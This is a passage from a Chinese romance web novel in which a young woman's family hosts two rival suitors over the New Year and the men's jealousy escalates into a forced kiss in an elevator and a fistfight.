叶珊的眼睛上上下下打量着李景显，满意极了,她笑吟吟地连声应：“你好你好。” 李景显把垂在胸前的黑围巾摘下，四下望了一眼，鞠言伸手接了过去：“我帮你。” 她借着去挂围巾的契机经过叶珊身旁,压低声音道：“只是我朋友！你别乱想！” “快坐快坐！”叶珊不理她，她把瓜子放回盘内,起身请李景显坐下,亢奋地提高嗓音冲鞠言喊：“比比！快点去泡茶！” “阿姨，我跟比比是很好很好的朋友,你不用那么客气的。”李景显笑吟吟地把手里拎着的红酒礼盒递给她。 听到他称呼鞠言是“比比”,叶珊脸上的神色更加喜滋滋了。 “这怎么好意思。”她接过红酒礼盒，低头看了看，而后对鞠言道： “比比 ，你把电视机前我那个老花镜拿过来。” 鞠言刚端着泡好的茶过来，就着她手上掠了一眼,她连忙把茶放下，轻推了下叶珊：“妈，这不能收，要二十多万。” 叶珊吓了一大跳，慌忙拿的稳一些以免砸了。 李景显笑道：“阿姨别听比比乱说，不值钱的。” 鞠言无奈道：“李总，你别骗我妈了，她真的会信的……” 叶珊欲言又止地看向李景显。 李景显会心地接口道：“阿姨喊我景显就好。” “景显，如果真的要这么多钱的话，那我们不能收，你还是拿回去吧，心意阿姨领了。”叶珊把酒盒推还给李景显。 李景显迷人地笑了： “阿姨，你要相信我。” 叶珊心荡神驰，预备把酒收下。 “妈！” 鞠言还想制止，叶珊打开她的手，压低声音训斥道：“你赶紧回房间换身衣服！” 鞠言这才想起自己身上的睡衣还没换掉，她的脸微微有些烫起来。 她没有再跟叶珊争，想着待会儿等李景显走了，再把礼物还给他好了。 正想朝卧室走，忽然有人拉了她一把，鞠言下意识回过头，对上了李景显的弯弯笑眼。 叶珊正低着头专注地拆着酒盒，他压低声音对鞠言道： 正想朝卧室走，忽然有人轻拉住了她的手，鞠言下意识回过头，对上了李景显的弯弯笑眼。 叶珊正低着头专注地拆着酒盒，他压低声音对鞠言道： “不换也没事，你这样很可爱。” 鞠言抽回手：“那不礼貌。” …… 望着衣橱里的一件件衣服，鞠言有些烦躁，原以为上次挑明之后李景显已经放弃了，没想到他会这么的猝不及防的来这一出。 她叹了口气，挑了一套寻常的衣服换上。 走出房间，叶珊正在和李景显聊天，李景显情商高，嘴又甜，哄得叶珊咯咯直笑。 “今天留下来吃饭，阿姨给你做比比最喜欢吃的菜。” 李景显人都来了，不留他吃饭的确不太好，鞠言问叶珊道：“妈，有没有什么缺的？我去买。” “冰箱里都有菜，比比，你陪着小景，妈去做饭。”叶珊推着鞠言在李景显身旁坐下。 “看你的表情好像不欢迎我？”等叶珊进厨房了，李景显道，露出有点受伤的样子。 “怎么会。”鞠言忙道，“只是有点猝不及防。” 陪着李景显闲聊了一会儿，门铃声响了起来。 叶珊灵敏地从厨房探出半身，催促着鞠言：“肯定是你爸爸和哥哥回来了，快去开门！” 看叶珊那副兴奋劲儿，鞠言就知道肯定是想赶紧让鞠旭阳看看这个她以为的“准女婿”。 鞠言真不想鞠旭阳和鞠然在这个时候回来添乱，但也没办法，只得走过去开门。 李景显有教养地站起身，以示尊敬。 鞠言握住门把手外下摁。 客厅里的光在开门的一瞬间照亮来人的脸，林今世穿着一件意式黑色大衣，身上那股疏冷到距人千里之外的感觉更加浓烈了。 林今世的半张脸浴着朦胧的光，或许是因为太过俊美又是明星的缘故，乍一眼看，有点不真实。 “比比。”他轻唤了她一声。 鞠言一瞬间只觉得全身血液都逆流了，她立刻就想把门关上，林今世闲闲地抬起一只手推在门上。 鞠言使劲儿浑身力气都没办法把门再推动分毫。她只能暂时妥协。 鞠言压轻音量：“我家有客人，你先走。” 林今世垂眸看着她，正想点头同意，李景显的声音忽然从屋内传来： “比比，怎么了？” 在李景显出声的那一刻，鞠言的身体僵了一僵。 完蛋了…… 林今世的目光在一秒间转冷，他轻松掰开鞠言的手，推开门进来。 感觉情况不太对劲，李景显正朝这边阔步走过来。 两个男人的目光对上。 李景显微微一怔，脚步停下，眼睛似笑非笑地眯了起来。 林今世的黑沉的眼眸冷得像刀，两个人的表情仿佛都在说： 阴魂不散！ 鞠言慢吞吞地把门关上，脑子里一团乱麻，不知道该怎么解决这个场面。 “旭阳，然然，你们回来了！” 叶珊充满活力的声音从厨房传出来，打破了无声的对峙。 林今世朝厨房看了一眼，出声回答： “妈，是我。” 鞠言：“……” 李景显：“……” 片刻后，穿着围裙的叶珊一脸懵然地走了出来。 鞠言从震惊中醒转过来，恼道：“你乱叫什么？！” 林今世的神色毫不知错，他将提在手中的橙黄色礼盒递给叶珊，一改往日懒散的语调，咬字格外清晰：“妈，新年快乐。” 叶珊茫然地看着林今世好一阵，才结巴道： “今世，你，你喊我什么？” “妈，你别理他，他发神经病呢。”鞠言抢答道。 叶珊打了鞠言一下：“不许没礼貌！” 她看向林今世，十分客气：“你快坐，你快坐。自从你变成大明星之后，都好久没有来我们家了！” 林今世仍旧站着：“以后我和比比一起来。” 李景显微笑着插话：“阿姨，什么时候你和叔叔一起到我家去做客？也见见我父母。” 林今世扫了他一眼：“她和你什么关系都没有。” “噢？那某人又是以什么身份出现在这里的？”李景显笑眯眯的。 叶珊呆呆地站着，她看看林今世，又朝李景显，一时间搞不清楚他们两个是怎么回事。 鞠言不想让叶珊知道自己的这些私事，她拿开叶珊手中的盒子，推着叶珊往厨房走：“妈，你锅里的菜好像要糊了。” 叶珊一边被鞠言推着往前走，一边回头道： “那，那你们两个先坐会儿，阿姨去烧菜，马上就可以吃饭了。” 到了厨房门口，鞠言正想折身回去处理烂摊子，叶珊拽住了她，鬼鬼祟祟地压低声音问： “你说今世为什么忽然喊我‘妈’？” 鞠言偏开脸，随便敷衍了一句：“你听错了。” 叶珊自己思索着，喃喃道：“你说他是不是想认我当干娘？” 林今世是当红的明星，叶珊并没有把他和自己女儿联系到一起。 “有可能吧。”鞠言顺着她的思路敷衍，她推着叶珊进了厨房，把门关上，而后深吸了一口气，想回客厅和那两个不速之客谈谈。 鞠言走回客厅，林今世和李景显分坐在沙发两端，正用敌视的目光盯着彼此。 瞥见她的身影，他们都朝她看了过来。 鞠言忽然一肚子火气，干脆一转身进了厨房和叶珊一起做菜。 “你出去陪客人，进来干什么，真是不懂事。”叶珊责备她。 “他们两个在聊商业上的事情，我听不懂。”鞠言扯了个谎。 听到她这样说，叶珊便没有再说什么，她一边切菜，一边刨根问底地探问李景显的家世、工作，以及鞠言和他是怎么认识的。 鞠言纤眉微蹙，正想开口说话，厨房的门忽然打开了。 林今世手抄兜走了进来，叶珊住了口。 林今世朝面无表情洗着菜的鞠言看了一眼，和叶珊搭话道： “妈，我来帮你。” 听到他又喊她“妈”，叶珊脸色稍变，尴尬地笑了一下： “不用，不用，你去外面吧，厨房里油烟大。” 林今世看向她：“您不用那么客气，我不是客人，我是你的女——” “叶阿姨，这个打算怎么做？”刚进入厨房的李景显抢在鞠言前面打断了林今世。 叶珊看了过去，李景显随手拿起厨台上的一筒挂面。 叶珊：“……我们今天晚上吃饭，不吃面条。” 鞠言闭了下眼睛，她从李景显手中拿过了挂面，搁回桌上。 林今世和李景显都是宽肩长腿的大高个，光是站在不动就占去了大半的面积，鞠言家本就不大的厨房一下子 显得狭小无比。 四人挤在一个厨房里，叶珊连拿瓶酱油都费劲，调料就在李景显手旁，叶珊干脆就使唤了一下“新女婿”： “景显，帮我递一下生抽。” 李景显正想伸手去拿，林今世已率先拿起，递给了叶珊。 鞠言忍无可忍：“都出去……” 林今世：“……” 李景显：“……”- 叶珊的手机嗡嗡地在围裙口袋里震了两下，叶珊在炒排骨没有空手，鞠言替她把手机拿出来贴到耳边。 是鞠旭阳打来的，表叔他们太热情了，一定要留他们父子俩吃了晚饭再走，叶珊有些遗憾，连声叮嘱他要早些回来。 “怎么了？”鞠旭阳的声音透过听筒传来了。 叶珊带笑朝鞠言瞟了一眼：“你家比比给你带——” 鞠言将手机远离叶珊，随便找了个理由将电话挂断。 “李总真的和我没关系，你不要再乱说了！”鞠言小声警告叶珊。 “比比你真是老实！景显一看就对你有意思啊，不然他好端端的正月初二不去拜年，上我们家来干什么。”叶珊喜气洋洋地用手肘撞了下鞠言：“机不可失，失不再来，你一定要抓住机会把他拿下！” 鞠言：“我只当他是朋友，等下我会跟他说清楚的。” 叶珊急得瞪她：“不许去！这么优秀的男人哪里去找，现在不珍惜机会，你以后后悔都来不及！” 鞠言眉心微蹙：“我知道自己想要什么，不会后悔的。” 叶珊：“怎么会有你这么不听话的小孩！” 鞠言不理她，抢过叶珊手中的锅铲，把糖醋排骨盛到盘子里端着出去。 看到她端着菜出来，林今世站起身想帮忙，鞠言淡声道：“别来添乱。” “……”林今世不听她的话，走进厨房去拿筷子和碗碟。 鞠言知道他肯定不会给李景显拿，因而去端下一盘菜时，特意带上了一双筷子和一只碗。 怕叶珊要做一大桌子菜，等到她烧完第六盘菜时，鞠言硬是把她拖出了厨房。 因为鞠旭阳和鞠然不回来，座位很宽敞，但林今世和李景显却像护法似的一个坐在了鞠言右边，一个坐在了她的左边。 被两个高大的男人夹在中间，鞠言觉得别扭极了，一连换了几次座位，最后得到的结果却只是除了她坐的位置不一样了以外，没有任何其它的变化。 “……”鞠言攥紧筷子，强忍下心中想把林今世和李景显都打一顿的冲动。 鞠言正自心烦，余光里林今世的侧影悄悄挪了挪位置，朝她挨近了些。 趁着叶珊不注意，鞠言悄悄瞪了他一眼。 看着她凶巴巴却一点儿也没有威慑力的表情，林今世的眼睛微微弯了一下。 “……”鞠言有些生气，往旁挪动椅子，和林今世保持原先的距离。 林今世微怔，立刻把位置挪了回去，随后侧过脸盯住她。 鞠言这才想起另一边是李景显，她垂下眼避开林今世的视线，用手抬住椅子，把位置挪回了原样。 她了解林今世，在他退让后，如果她还是选择更靠近李景显的话，他肯定会当场就对李景显动手。 饭桌上林今世并不怎么说话，只一个劲儿地把剥好的虾和雪白的蟹肉往她碗里送。 当着这么多人的面，鞠言也不好还回给他。她不抬头，也不说谢谢，没有反应似的只垂着眼吃着自己夹的菜，一口不吃他送过来的东西。 叶珊已经意识到了他们两个人的不对劲，脸上带着欲言又止的表情。 李景显加入战场，他夹了一枚鹌鹑蛋再自然不过地放到鞠言碗里，盖住一只虾肉，漫不经心地说： “我公司新出的一支产品还没有确定代言人，本来看在鞠言的面子上，可以给你。”他看了林今世一眼，算是打量： “不过我们需要阳光一点的代言人，你的形象不合适。” 林今世眼底泛出轻蔑的神色，他夹了一只鸡腿，先用筷子把外面的皮给撕了，才往鞠言碗里送。 他把筷子搁到晚上，不紧不慢地开口：“不需要，你那种小公司的产品我看不上。” 看着逐渐被堆成了小山的碗以及两旁的唇枪舌战，鞠言心里一阵烦，她站起身：“你们先吃，我去楼下买饮料。” 要打架也在楼上打吧，她不想看见。 李景显抽了张纸巾擦了擦嘴，而后站了起来：“我跟你一起去。” 鞠言拒绝：“不用了，就几步路。” 李景显朝林今世瞥了一眼——他一手扶着脑袋，面无表情，并没有要起身同去的意思。 “那好吧，注意安全。”李景显笑着说，重新坐下。 _ 和开了暖气的室内不同，外面冷极了，鞠言将手揣在兜里，低头望着电梯地面上被别人的鞋底带进来的红色的鞭炮残屑，出神地想着等林今世走后，该怎么跟李景显彻底说明白。 电梯门在余光里一点点向内贴紧。 临关上那一刻，忽然有手在中间挡了一下。 电梯门受到感应，缓缓向两旁重新退开，鞠言眼前的光线暗了一度。 她抬起脸，林今世手揣兜站在她对面，她整个人都被笼罩在他高大身体投下的淡影之中。 第72章 等电梯门完全打开了,林今世才闲步走进来。 “……”鞠言淡着脸只当没有他这个人。 电梯门合上，开始匀速往下沉。 鞠言在心里倒数着电梯楼层，打算出去后立刻就将林今世甩开,她正想着，腰忽然被人一把搂住了,不等反应，林今世便将她拉到了自己怀中,欺身吻下来。 鞠言的双手被他牢牢锢住，只能在他的臂弯里徒劳挣扎，她不敢咬他,怕等一下被看出来。 纠缠中，其它楼层的住户的谈笑声透过电梯门外面传进来，新年都是走亲戚的,电梯内一天到晚几乎都有人，鞠言的心都快跳出来了。 侵略性的吻让她的眼角渗出了一点泪水，口水吞咽声不住从喉头溢出来。 电梯一层层往下降,并没有在其它楼层停下来。 直到电梯快降到底了，林今世才松开手,淡然地倚到电梯壁上。 鞠言微微喘着气,她抬手拭了下有些湿润的唇，恼火道：“你一定要这样吗！” 林今世平静地看着她,眼中毫无歉意。 要不是打他会被看出来,鞠言真想给他一巴掌。 电梯一打开，鞠言便快步出了电梯。 林今世闲闲地跟在她身后，鞠言忍不住了，猛地旋过身狠搡了他一把，想将他推回电梯内。 她使劲了全力,他却只是一只脚往后微退了一步。 “你回去。” “……”林今世不说话，只是看着她。 这句话在他那里相当于空气。 鞠言气得转身就走，林今世几步跟上来，牵住她的手。 “放开！” 鞠言立刻挣扎着想将手抽出来，但任凭她怎么努力，手依旧被他牢牢的紧扣着，没有一丝挣脱的可能。 鞠言恼火地用另一只手在他身上重重地捶打了几下。 她抬头瞪他，林今世正望着她，嘴角向上挑起点弧度。 看着林今世欠揍的目光，鞠言倏地抬起被他牵着的那只手，张开嘴就想凑上去，忽然听见林今世带笑的声音：“又想咬我吗？” “你放开，我就不咬。”鞠言和他谈条件。 “随你咬。” 鞠言怒视了林今世一眼，她当然不敢真的咬他，以林今世的性格，要是她真的在他手上留下一个牙印的话，回到楼上，林今世一定会找机会让李景显看见的。 鞠言只能再度徒劳地用力去掰紧握着她的手指。 “不想让我再吻你的话，就不要挣扎了。”林今世想到了什么，嘴角泛起淡笑，“你也可以选和我接吻。” 鞠言忽略了他最后一句话，忍着气道：“不许骗我。” “不会。” 这几天本来温度就低，到了晚上愈加寒冷刺骨，一到室外，南方带着潮湿的冷风就将鞠言的脸吹得冷冰冰的，被林今世握着的那只手却无比温暖，远比她插在兜里的另一只手要暖和。 鞠言不由得想到第一次和他牵手，也是在冬天。 “有那么多人喜欢你，你干嘛总是缠着我不放？”她忽然轻声道。 林今世皱眉：“她 们又不是你。” “……” 鞠言垂下眼没有说话。 小区外围就有一家小超市，鞠言刚想进去，忽然想起了林今世的身份，要是待会儿引起骚乱就麻烦了，因而停下了脚步： “你在外面等我吧。” 林今世松开手，走到不显眼的位置等她。 鞠言一个人走进店内，老板一家也正在吃晚饭，电视机上播放着重播的春节联欢晚会，镜头正特写到坐在前排的林今世，在没有任何滤镜的高清摄像头近距离拍摄下，他依旧好看的惊人，甚至还过分的把坐在另一边的钱淮真衬成了普通人。 鞠言在货架上拿了一瓶椰汁和一瓶橙汁，走到收银台结账。 结完账从超市出来，林今世朝她过来，他从她手里拿过饮料，另一只手牵住她。 独属于他的温度再次包裹住她的手。 天色黑凝，一丝蓝意都看不到，伴随着咻咻的爆炸声，远一点的空中有五彩的烟火绽放。 迎面的冷风吹得鞠言打了个冷颤。 林今世一手将身上的黑色大衣卸了下来，脱到另一只手时，才松开牵着鞠言的手。 “我不要。”还没等他递给她，鞠言便道。 “……”林今世仍将外套披到了她的肩上，随后重新牵住她的手。 看鞠言抬手想脱下来，林今世淡淡道： “你不要的话，丢掉好了。” 鞠言被他气得要死，这几年她每次拒绝他给的东西，他都是这套说辞，但鞠言偏偏就对他这个回答束手无策。 林今世将饮料夹到怀里，从兜里摸了烟衔在嘴里，正想去摸打火机，鞠言淡声道：“不要抽。” “……” 林今世将夹着的饮料重新提到手上，随后叼着烟朝鞠言侧身低下脸。 鞠言偏开脸不理他。 林今世站直身，又将那两瓶饮料夹到怀里，空出手去兜里摸打火机。 鞠言不由得看向他。 林今世微微一笑，没有再假模假样地将饮料换到手里，而是直接侧过身朝她弯下腰。 他的眼睛眯了一点起来，在簌簌的长睫毛下专注地盯着她微仰起的脸。 鞠言咬了咬唇，抬手将他唇上的烟摘了下来，丢到了附近的垃圾桶里。 再次走进电梯，即使林今世答应了她，但鉴于对林今世的了解，鞠言还是防御性地站的离他很远。 忽然听见林今世好听的一声轻笑。 鞠言的脸不争气地一热，在这个时候她真讨厌自己的白皮肤，每次一脸红就特别明显，藏也藏不住。 好在林今世信守承诺，没有再靠近的意思，鞠言的心慢慢平静了些，她抬眼静静看着屏幕上变化的数字。 “4……” “5……” “6……” 还有四层，等到家了，脸色应该淡下去了。 鞠言正抬睫盯着显示屏，手腕忽然被拽住。 “？！” 她惊愕地回过脸，质问的话语还未出口，已被林今世一把拥到怀里。 他扳着她的下巴，迫使她仰起脸看着他，温热的拇指尖摁在她柔软的唇瓣上轻轻摩擦着。 鞠言立刻挣扎。 林今世俯下身，嘴唇贴住她的耳侧，低声说： “我只答应了不吻你。” 微湿的呼吸扑在她的耳畔，酥痒酥痒的，鞠言本就微红的脸一下子滚烫起来。 时间好像被拉长了，余下的短短的四层楼电梯仿佛爬了许久，林今世的鼻尖感受着她脖颈处的颤栗，呼吸着她身上的气息。 电梯快到了，林今世才缓缓松开，他伸手将她鬓边的垂落的发丝轻轻别到耳后。 门向两侧退开，露出了两手抄兜站在电梯门口的李景显。 鞠言没想到了外面等了人，她慌了下，下意识低了脸，立刻和林今世分开距离。 李景显瞥了林今世一眼，随后看向鞠言笑道：“你再不回来，我就要报警了。” 他将手伸过来，还没碰到鞠言就被林今世一把握住手腕摔开了。 李景显的手腕隐隐生痛，他寒着脸朝林今世扫了一眼。 鞠言紧咬着唇，闪身出了电梯，走到李景显身边时，她停下脚步，浅声道：“李总，进去吃饭吧。” 李景显绅士地替她拉开虚掩着门：“叫我景显。” 林今世的眉头厌恶地蹙了一下：“……” “怎么去了这么久？菜都要冷了！”叶珊往鞠言碗里盛了勺乳白的鱼汤，略有责备。 “别怪比比，是我被人认出来了，耽搁了一些时间。”林今世找了个理由搪塞。 鞠言心不在焉地低头吃着碗里的饭菜，李景显似乎在盯着她看，鞠言只当没感觉到。 …… 林今世和李景显的注意力压根没在饭桌上，吃相又都很好，一顿饭结束，除了不冒热气了，几道菜和刚端出来时没有区别。 终于熬到结束了，鞠言站起身收拾起桌子，叶珊走到她身旁，一边收拾一边悄悄用手肘撞了撞鞠言，让她去陪李景显。 鞠言对她的小动作毫无反应，她从厨房拿来厨余手套戴上：“妈，你去休息吧，碗我来洗。” 林今世也站起身，和鞠言一块儿收拾起碗筷。 “今世，你坐着吧。”叶珊忙想制止他。 林今世：“这是我应该做的，妈你不用跟我那么客气。” 叶珊：“……” 鞠言微微蹙眉，将他手中的脏碗夺走，端进了厨房。 林今世没有跟她争，跟在鞠言身后一起走了进来。 厨房有并排两个水槽，鞠言走到左边的那一个，把水龙头朝向自己这一边，挤了些洗洁精到抹布上，而后开始洗碗。 林今世走到右边的水槽前，伸手过来拿走鞠言抹过泡沫的碗，开始用清水冲洗。 鞠言不领情：“走开。” 林今世已经习惯了她这种态度，他的情绪没任何变化，顾自拿过下一只盘子冲水。 鞠言拿他没办法，只能洗得快一些。 李景显走了进来，他闲闲地靠到了门上： “比比，听小菲说，你很爱吃森北附近那家的日料店的烤鳗鱼饭，下次回清津了我们一起去？” 林今世：“……” 鞠言抿了下唇，对于他刻意挑衅林今世的行为感到一阵恼火。因而不去理他。 李景显又道：“或者你什么时候有空，我带你去京都。” 林今世把刚拿起的碗搁回水槽，他转过身，直视李景显：“她哪儿都不会跟你去的。” 李景显迎视他的目光，缓声挑衅：“你凭什么确定？” 林今世当即就要朝他过去，鞠言顾不上还戴着湿手套，连忙拽住林今世的手臂。 气氛已然剑拔弩张。 第73章 “不许在我家打架！”鞠言压低声音警告他。 叶珊的声音忽然透过门扉传进来：“喂,然然啊……喝了多少？你爸也真是的…好，好。你开车小心。” 片刻不到，叶珊开门走了进来。 鞠言顿时感到松了口气。 四个人在厨房太挤,李景显只能把位置让出来给叶珊，见他出去了,林今世便也折身走了回来，继续心不在焉地冲碗。 叶珊从柜子里找出醒酒药剂,一边冲泡，一边对着鞠言数落：“你爸也真是的，多大的人,还喝的烂醉，你表叔也是，肯定一味地灌他酒了。” 鞠言不回头 道：“待会儿我下去接他们。” 她洗好一只叶形盘子,搁在自己面前的水槽里。林今世伸手过来拿碗，假装不经意地触碰到了她的橡胶手套。 “……” 鞠言简直搞不懂林今世，刚刚在电梯里明明像个流氓,现在却又表现的像个刚谈恋爱的男高中生。 叶珊泡好了醒酒药就要出厨房。 “妈。”鞠言连忙喊住她。 “怎么了？”叶珊停下脚步，回过头。 鞠言语塞一秒,随即编了个理由：“围裙有点松了,你帮我系紧些。” 不等叶珊把手里的醒酒药放到桌上，林今世迅速擦干手,抢先捏住了鞠言腰上的围裙带子。 林今世的动作慢极了,他站在她身后，把她腰际的蝴蝶结拖沓地解开，又慢吞吞地重新系上。 不等林今世系完，鞠言就推开了他的手，自己随便地系了个结,背过身继续洗碗。 叶珊僵住的神情逐渐被不可置信取代。 鞠言微蹙着眉，把剩下几只碗盘快速洗干净，而后脱了手套，解开围巾挂到钩子上，快步出了厨房。 怕鞠言一个人在客厅李景显会趁虚而入，林今世把剩下几只沾着泡沫的碗胡乱用水冲了冲便塞进了碗柜里。 客厅内，李景显叠着腿坐在沙发左边的位置，鞠言站在对面的茶几前，弯着腰往一只玻璃杯内倒热水。 林今世走过去，靠坐到沙发中间的位置，隔绝了鞠言和李景显靠近的可能。 李景显：“……” 大门处传来了两声拍门声，叶珊从厨房小跑出来把门打开。 鞠言回头望了一眼，是鞠旭阳和鞠然回来了。 “小心，小心。”叶珊尽量把门尽量开到最大。 鞠然用脚脱了自己的鞋，扶着已经快不省人事的鞠旭阳走进屋。 鞠言走过去和鞠然一起扶着鞠旭阳：“怎么没打电话给我？” “我一个就够了，不用你们特意跑下来一趟，外面在下雨夹雪呢。” 余光看到林今世，鞠然怔了下，攒起眉：“你怎么来了？” 听他的语气似乎不欢迎，李景显微微挑眉。 林今世也不给他留面子：“关你什么事。” 鞠言拉了鞠然一下：“别吵架。” 鞠旭阳醉的一塌糊涂，不等走到卫生间，便曲背呕吐到了大理石地板上。 一股混合着浓郁酒精味的未消化的食物发出的刺鼻臭味顿时在客厅弥漫开。鞠言连忙跑进卫生间去拿毛巾。 叶珊又是心疼又是责备，她蹲在地上用手给鞠旭阳顺着背，忽然想起有两个外人在，脸上逐渐有了窘色。 鞠言用毛巾替鞠旭阳擦着脸，等他稍稍舒服一些了，鞠然半拖半扶，把他送进了卧室。 “比比，我去帮你爸爸换身衣服，你和哥哥招呼客人。”说完，叶珊冲李景显和林今世歉然地笑了下。 “不给你们添麻烦了，阿姨，我先回去了。”李景显道。 “好好，比比，快去送送李总。”叶珊没空招待他们了，因而也没有挽留。 “李总，我送你。”鞠言把围巾递还给李景显。 李景显微笑着点了下头。 鞠然微喘着气从卧室出来，他的衣服上也沾到了呕吐物，正要去卫生间洗漱，见鞠言要出门，嘱咐道： “你把外套穿上，外面可冷了。” 屋内开了空调温暖如春，因而鞠言只单穿着一件蓝色的高领衫。 鞠言轻声回了个“嗯。” “……”林今世的瞳孔微微颤了颤。 她在外面披上一件灰色羊绒开衫，而后走到玄关处换鞋。 鞠言正弯着腰穿鞋，忽然感觉到身旁有人走近，她的动作停下，看了林今世一眼：“……你来干什么？” 林今世漫声道：“我也去送送他。” 李景显语气不善：“谢谢，不需要。” 林今世：“你管不着。” “……”李景显的眉头微不可察地皱了一下。 进了电梯，怕他们会有起冲突的风险，鞠言主动站到了两人中间。 安静的电梯内流动着危险的气息。她屏息敛神，戒备着身旁两个男人的一举一动。 电梯下降的速度仿佛格外缓慢。 等到在一楼停下，鞠言觉得简直过了一个世纪。 外面的雨夹雪还没停，被风吹着冷冷地扑过来。 李景显看了眼，脚步在檐下停住，微笑对鞠言道： “就送到这里吧，外面冷，你快回楼上吧。” 鞠言微微点了下头，将手的伞递给李景显：“再见。” 李景显轻叹了口气：“要不是明天还有个推不掉的饭局，我真不想这么快走。倒不是为了别的，就是放心不下。” 知道他的言下之意是指林今世，鞠言只礼貌性地回应了一个浅淡的笑。 李景显撑开伞，他似乎想到了什么，笑道：“我们俩第一次遇见的时候也是你借我伞。” 闻言，林今世微微蹙起了眉。 李景显继续道：“你那个时候才上高二吧？” 没办法一直以沉默作答，鞠言只能轻“嗯”了一声。 “她那个时候喜欢我。”林今世忽然道。 “……”鞠言垂下眼，她想否认，但这是不可否认的事实。 李景显笑了，体贴地看着鞠言的眼睛：“没事的，你那时候还小。” “李总你快走吧。”对于他们的针锋相对，鞠言快一刻都忍不了了。 李景显看她有些生气了，嘴角无奈地挑起笑，他抬手朝她挥了下： “森北见。” 随着动作，衬衫袖子往下掉，手腕上金光一闪，一条红绳现了出来。鞠言怔了下，认出了是自己的那条脚链，立刻伸手想摘回来。 她的手指还没触到，另一只男人的手已先抓住那条红绳一把扯了过去。 李景显猛地握住了林今世掣回去一半的手臂：“这是我的。” “是吗。” 林今世扫了一眼李景显因为长时间佩戴而留下了淡粉色压痕的手腕。 垂睫的阴影落在眼下，使他的目光更加冷戾了。 林今世甩开李景显的手，像是宣誓主权，当着李景显的面，将红色绳索戴到了自己的手腕上。 李景显腮边咬出了隐筋，有失风度地伸手去夺。 林今世的眼中闪过一线寒光，意识到了不妙，鞠言连忙想去拽林今世的手臂，但已经来不及了。 林今世用戴着红绳的那只手砸向了李景显的脸。 他的拳头又快又重，李景显被打得趔趄了一下，退到了檐外，降落的雨夹雪瞬间洇深了他肩膀处大衣的棕色。 李景显站稳脚，立刻还了一拳。 林今世侧脸避开，第二拳朝李景显的鼻梁飞了过去。 鞠言顾不上被打到的风险，闪身挡到两个人中间。 林今世的瞳孔一缩，挥出去的拳头紧急转向，拳头带起的一阵拳风掀动了鞠言鬓边的长发。 李景显握住了鞠言的手臂，把她拉到了自己身后。他的围巾随着往前挥出去的右拳往后扬起。 这一拳砸到了林今世的下颚上，发出了一声结实的击打声，失去了鞠言的阻拦，两个人迅速打了起来。 鞠言跑过去，极力推着林今世，怕会误伤她，两人都不约而同地停了手。 鞠言扭过头恳求地望着李景显：“李总我求求你了，你走好吗？” 夜光下，隐隐能瞧见李景显嘴角的血迹，他静默了片刻，抬起手优雅地理了下自己的衣服。 “知道了，”李景显没有温度地看了林今世一眼，“但你要答应我，他要是做出什么过激的行为，你要第一时间告诉我，或者报警。”- 看着李景显的曜影驶远，鞠言总算松了一口气，幸好他们打得时间不长，又已经是晚上了，还没有被人注意到。 林今世厌恶地甩去拳峰上的血迹，垂眸看向鞠言：“你什么时候给他的？” 鞠言咬紧唇，扬起手就想打他。 林今世没有躲，只是垂眸看着她：“你要因为他——”鞠言没等林今世说完，就用力给了他一巴掌。 “为什么又要动手！” 她的声音有些哽咽。 林今世微微一愣。 寒夜里，鞠言噙着泪的眼眸微微发亮：“要是这件事被曝光到网上，你的事业怎么办？” “我不在乎。” 鞠言忍不住在他的胸口捶了一下：“你可以什么都不要，但我不想看见你那样！” 林今世的嘴唇颤了颤，好一会儿，才发出声音： “比比…你是在关心我吗？” 鞠言咬了咬唇，还没来得及回答，林今世已猛地弯腰抱住了她。 鞠言忙想从他怀里挣出来，但他抱得很紧很紧，完全无法挣脱。 她纤薄的肩膀上可以感觉到林今世带来的轻微负荷。 隔着她的粉色外套，鞠言感觉到了林今世轻微的颤抖。 林今世抱着她，像是抱住了希望般不肯放开。 过年期间的夜晚并不寂静，一阵阵热闹的人声从楼上飘下来，高高的夜空中有烟花盛开，短暂照亮了鞠言有些发热的眼睛。 她的心仿佛跟着林今世颤抖的身体在发颤。 忽然有手握住了林今世紧环着鞠言的手臂就想将他的手掰开，林今世的眼眸一瞬转冷。 第74章 林今世一下甩开了对方的手。 以为是李景显折回了,鞠言的整个心也在一瞬间悬了起来。她赶紧用双手紧握住林今世的手，不出所料，他的手已经握成了拳。 “放开我妹妹！”鞠然恼道。 鞠言悬着的心放了下去。她松开了紧握着林今世拳头的手,正想收回来，林今世的手却忽然一转,牵住了她的手，十指相扣。 鞠然皱紧眉,当即想伸手来管。 怕他俩又要起冲突，鞠言忙推开鞠然的手：“你别管了，我自己会解决的。” 注意到鞠言泛红的眼眶,鞠然神色一变，当即就问：“怎么了？” 鞠言摇了摇头：“没事，我想和他谈谈。” 鞠然看了林今世一眼,仍有些迟疑。 鞠言道：“没事的，你回去吧。” 再三确认后，鞠然终于点头同意,他一边后退，一边警告： “你要是敢对她动手动脚的,我要你好看！” 林今世眉头微皱：“轮不到你来说。” 等鞠然的背影远远地消失了,林今世低声道：“你跟鞠然和好了吗？” 鞠言默了一会儿：“嗯。” “你都原谅他了，为什么到现在都不肯原谅我？”林今世的声音里委屈比愤怒更强烈。 “就因为他是你哥？” “不是。” 鞠言想将自己的手抽出来,林今世握得更紧了一些。 “那是因为什么？” 鞠言垂睫看着被紧握住的手,不想再这样继续没有结果的纠缠下去，她闭上眼睛，沉沉出了口气。决定面对横在她内心许多年的芥蒂。 鞠言看向林今世： “如果没有鞠然的拜托，你会有任何注意到我的可能吗？” 林今世很想肯定地告诉她会的，但这是谎言。 他沉默了一会儿,低声道：“不知道。” 他没有办法告诉她答案，因为他已经爱上她了，即使穿望过去，也带上了爱的滤镜，做不到代入不会爱上她的情况去看她。 “那个时候，你为什么会答应鞠然？” “因为他说那家伙不是好人。” 这些话鞠言在几年前就告诉过鞠然，却迟迟无法向林今世问出口。 回忆中那可怕的耻辱感再度包围了她，鞠言颤声道：“要是你没有喜欢上我，你打算什么时候和我提分手？” “我不知道，但应该…不会太久。” 因为她声音里的颤抖，林今世的声音里也掺进了痛苦，未句的声音几乎轻到听不见了。 欲泪的冲动涌了上来，鞠言把手缩在袖子里，用力地掐着自己的手心，她强忍住泪，但声音还是哽咽了：“你不觉得这样是在耍我吗？” 林今世握住了鞠言的手，不让她掐自己。 像她了解他一样，他也了解她。 林今世用手指轻轻摩挲着她掌心的粉色月牙，没有责备，只有无尽的心疼与自责： “对不起。” 鞠言抽回手，用尽全身力气说出来：“林今世，我不恨你了，但我们到此为止吧。” 说完这些，她越过他离开。 像是分手的时候那般，在她的余光中林今世定在原地一动没动。 